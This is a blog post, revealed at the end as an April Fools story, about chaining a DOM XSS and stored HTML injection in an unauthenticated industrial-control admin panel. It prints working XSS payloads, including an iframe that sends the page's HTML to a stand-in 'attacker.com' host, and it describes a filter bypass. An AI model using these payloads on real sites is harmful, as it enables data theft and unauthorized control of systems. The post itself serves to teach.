From XSS to RCE

Reading time ~3 minutes

About 3 days ago, I was recursively bruteforcing subdomains for a domain and I stumbled upon a domain that hosted an admin panel. I guess it was my lucky day because it didn’t require any authentication. It a web interface to monitor and control some sort of industrial machines. They might have thought that it’s well hidden and it needs to be accessed a million times a day by every other employee so they kept it open to keep off the hassle.

I thought I hit the jackpot but then I realised I could just monitor the systems, I needed credentials to make the machines do anything. I really wanted to do more so I started to look for what else could be done. 10 minutes into testing and shit and XSStrike found a potenial DOM XSS vulnerability. The vulnerable code was the following:

if (location.hash) {
  if (location.hash.substring(1, 2) === "_") {
    var channel, url, hash = location.href.substring(location.href.indexOf("#") + 3), indexOf = hash.indexOf(",");
    if (indexOf == -1) {
      channel = hash;
    }
    else {
      channel = hash.substring(0, indexOf);
      url = decodeURIComponent(hash.substring(indexOf + 1));
    }
    switch (location.hash.substring(2, 3)) {
      case "2":
        // NameTransport local
        window.parent.parent.easyXDM.Fn.get(channel)(window.name);
        location.href = url + "#_4" + channel + ",";
        break;
      case "3":
        location.href = url + "#_4" + channel + ",";
        break;
      case "4":
        // NameTransport idle
        var fn = window.parent.easyXDM.Fn.get(channel + "_load");
        if (fn) {
          fn();
        }
        break;
    }
  }
}

XSStrike picked up that input from a source (location.hash in this case) was being supplied to a sink (location.href in this case), crafing the payload was upto me. I finally came up with #_3channel,javascript:alert(1)//.

But as an attacker, I would need to send the link to someone who had credentials but I couldn’t do it, I didn’t have the permission to interact with the staff. So I started to look for other things, got a bunch of useless CSRFs but at last I found what I needed the most, stored XSS.

There was a feature to include notes so employees can collaborate on things and it was vulnerable to stored XSS*. I shouldn’t call it XSS because I wasn’t actually able to execute JavaScript.

Backend was filtering event handlers based on on[a-zA-Z]* pattern, <script, href and data attributes and a few other things I tried. Without having the ability to execute JavaScript, it was plain boring HTML injection.

But hey! I had DOM XSS! I knew exactly what to do, I tried injecting <iframe src="http://xx.yy.redacted.com/panel/main.html#_3channel,javascript:alert(1)//" and it worked like a charm!

You know what? If there’s a god, I am pretty sure he is determined to make my life harder than a morning wood because the cookies had the http_only flag :’) That wasn’t much of problem because I could still dig deeper if I could see what an authorised person has access to but there was another problem, scripts weren’t allowed to make cross origin requests. I would say fuck at this if I were you but I have said that enough times already.

I am not sure if it was public knowledge already but I discovered a way to access DOM, retrieve data and send it to my server bypassing all the restriction. Yeah, we all know the <img src="//attacker.com/?="+document.cookie> trick but it doesn’t work if you try to do <img src="//attacker.com/?="+document.documentElement.innerHTML> for obvious reasons.

So here’s the trick, img tag can make requests to an external resource and the script tag can execute arbitrary JavaScript so we can grab the data we want with a script tag, create a new img element whose src has the juicy data in it’s URL as //attacker.com/?=juicy_data.

Now the final payload had become this,

#_3channel,javascript:(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML//

To execute it, I added the following payload to a note

<iframe src="http://xx.yy.redacted.com/panel/main.html#_3channel,javascript:(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML//">

I hope you know what the above payload does.

Anyways, after tons of response from unathenticated users, I finally got one from an authenticated one. How did I know? Well it didn’t had the string Log in XYZ.... Since the source was very long and couldn’t be included in a single HTTP request, I had to slice() it which took more than hour but it was fruitful. It had the endpoints to control various aspects of various machines.

That’s it! I wrote a script to automate the process of creating a note that injects payload to executre given command when opened by an authenticated person.

exploit

One more thing. none of it happened, Happy april fools day :p

Anyways, Marvel is better than DC <3

Mass Cracking Cybrary Accounts

Many benign issues don't add up to be benign. Continue reading

21 things you can do with XSS

Published on January 04, 2019

CORS, SOP & crossdomain.xml For Dummies

Published on October 30, 2018